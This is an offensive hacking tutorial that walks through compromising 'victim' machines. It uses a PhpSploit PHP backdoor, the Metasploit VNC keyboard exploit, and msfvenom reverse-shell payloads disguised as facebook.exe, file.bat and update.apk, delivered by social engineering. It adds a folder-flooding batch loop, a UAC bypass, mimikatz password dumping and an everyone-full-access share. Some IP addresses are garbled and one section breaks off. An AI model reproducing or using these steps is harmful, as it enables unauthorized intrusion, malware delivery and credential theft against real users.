Hack Remote PC with PHP File using PHPSploit Stealth Post-Exploitation Framework

PhpSploit is a remote control framework, aiming to provide a stealth interactive shell-like connection over HTTP between client and web server. It is a post-exploitation tool capable to maintain access to a compromised web server for privilege escalation purposes.

Features

Efficient: More than 20 plugins to automate post-exploitation tasks

·         Run commands and browse filesystem, bypassing PHP security restrictions

·         Upload/Download files between client and target

·         Edit remote files through local text editor

·         Run SQL console on target system

·         Spawn reverse TCP shells

Stealth: The framework is made by paranoids, for paranoids

·         Nearly invisible by log analysis and NIDS signature detection

·         Safe-mode and common PHP security restrictions bypass

·         Communications are hidden in HTTP Headers

·         Loaded payloads are obfuscated to bypass NIDS

·         http/https/socks4/socks5 Proxy support

Convenient: A robust interface with many crucial features

·         Cross-platform on both the client and the server.

·         Powerful interface with completion and multi-command support

·         Session saving/loading feature, with persistent history

·         Multi-request support for large payloads (such as uploads)

·         Provides a powerful, highly configurable settings engine

·         Each setting, such as user-agent has a polymorphic mode

·         Customisable environment variables for plugin interaction

·         Provides a complete plugin development API

Open your kali Linux terminal and type the following command

https://github.com/nil0x42/phpsploit.git

open terminal and type ./phpsploit

Now you’ll get a prompt, type set target 192.168.1.3 and press enter

Now type exploit

It’ll create the backdoor with the message Current backdoor is:

See the example below:

Now open leafpad/notepad and paste the above code and save it in .php extension

Now send this backdoor file to the victim using any social engineering technique. In my case I’m using Xampp and paste it in htdocs folder and wait for the victim to click on the .php file.

Now you can view the backdoor image

Now type set target http://192.168.1.3/script/script.php (location of file in victim’s PC). Now you can connect with the target PC.

Now type whoami command, it will show you the user details and type pwd command to check the location of your backdoor file in target PC.

Now type run ipconfig command to check IP configuration of victim’s PC.

Now type run systeminfo command to check system information of victim’s PC.

(Now you get complete access of victim’s PC and can run any command)

Hack Remote Windows PC using VNC Keyboard Remote Code Execution

This module exploits VNC servers by sending virtual keyboard keys and executing a payload. On Windows systems a command prompt is opened and a PowerShell or CMDStager payload is typed and executed. On Unix/Linux systems a xterm terminal is opened and a payload is typed and executed.

Exploit Targets

VNC Viewer

Requirement

Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/multi/vnc/vnc_keyboard_exec

msf exploit (vnc_keyboard_exec)>set lhost 192.168.1.4 (IP of Local Host)

msf exploit (vnc_keyboard_exec)>set rhost 192.168.1.3 (IP of Remote Host)

msf exploit (vnc_keyboard_exec)>exploit

Hack Remote Windows, Linux PC and Android Phone using Msfvenom

msfvenom is a combination of Msfpayload and Msfencode, putting both of these tools into a single Framework 

The advantages of msfvenom are:

·         One single tool

·         Standardized command line options

·         Increased speed

Options available in msfvenom

Hack with Meterpreter Payload

Open your kali linux terminal and type

Msfvenom –p windows/meterpreter/reverse_tcp lhost=92.168.1.33 lport=445 –f exe > /root/Desktop/facebook.exe

-p for payload	Windows/meterpreter/reverse_tcp
Lhost (IP address of kali linux)	192.168.1.33
Lport (port of your local pc)	445
F (File Format)	Facebook.exe

Now we successfully generate the malicious exe File, it will stored on your local computer

/root/Desktop/facebook.exe

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.33

set lport 445

exploit

Now send your facebook.exe files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.

Hack with Simple Shell Payload

Open your kali linux terminal and type

Msfvenom –p windows/shell/reverse_tcp lhost=92.168.1.33 lport=445 –f exe > /root/Desktop/raj.exe

Now we successfully generate the malicious exe File, it will stored on your local computer

/root/Desktop/raj.exe

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/shell/reverse_tcp

set lhost 192.168.1.33

set lport 445

exploit

Now send your raj.exe files to victim, as soon as they download and open it. Now you can directly access the victim shell

Hack with powershell Payload

Open your kali linux terminal and type

Msfvenom –p cmd/windows/reverse_powershell lhost=92.168.1.33 lport=445  > /root/Desktop/file.bat

Now we successfully generate the malicious bat File, it will stored on your local computer

/root/Desktop/file.bat

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload cmd/windows/reverse_powershell

set lhost 192.168.1.33

set lport 445

exploit

Now send your file.bat files to victim, as soon as they download and open it. Now you can get the access of victim pc.

Hack Android Phone

Open your kali linux terminal and type

Msfvenom –p android/meterpreter/reverse_tcp lhost=92.168.1.33 lport=445 > /root/Desktop/update.apk

Now we successfully generate the malicious apk File, it will stored on your local computer

/root/Desktop/update.apk

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload android/meterpreter/reverse_tcp

set lhost 192.168.1.33

set lport 445

exploit

Now send your update.apk files to victim mobile, as soon as they download and open it. Now you can get the access of victim android mobile.

Hack Linux PC

Open your kali linux terminal and type

Msfvenom –p python/meterpreter/reverse_tcp lhost=92.168.1.33 lport=445 > /root/Desktop/update.py

How to Create unlimited Folder in Remote Victim PC using Metasploit

Open leafpad and type the following code.

@echo off

:loop

md %random%

goto loop

Now save it as a batch file

Now Use the upload command to send Batch File to the target system.

 Now type shell to enter into Victims command prompt and execute the batch file. It will create unlimited blank folder in victim pc

How to Access Unauthorized on Remote PC using Metasploit

First Hack the Victim PC Using Metasploit (Tutorial How to Hack Remote PC)

Once you had a remote shell with Metasploit all now use the Bypass UAC module, set the session number and exploit it

use exploit/windows/local/bypassuac_injection

msf exploit (bypassuac_injection)>set session 1

msf exploit (bypassuac_injection)>exploit

mimikatz is a tool to check Windows security. It’s now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets.

First Download mimikatz windows version from here and use the upload command to send a file to the target system.

Type the following command to check  privilege

privilege::debug

Now type the following command to get users passwords in text mode.

sekurlsa::logonPasswords

Using the "net help share" command you will see that the syntax is as follows:

net share raj=(Drive name):  /GRANT:Everyone,FULL

 Start, Run dialog box and define the path of the shared folder using the format \\192.18.0.101

It will show you the prompt and type username and password, and then click OK

Now you can access the shared folder. Below is the screenshot for reference.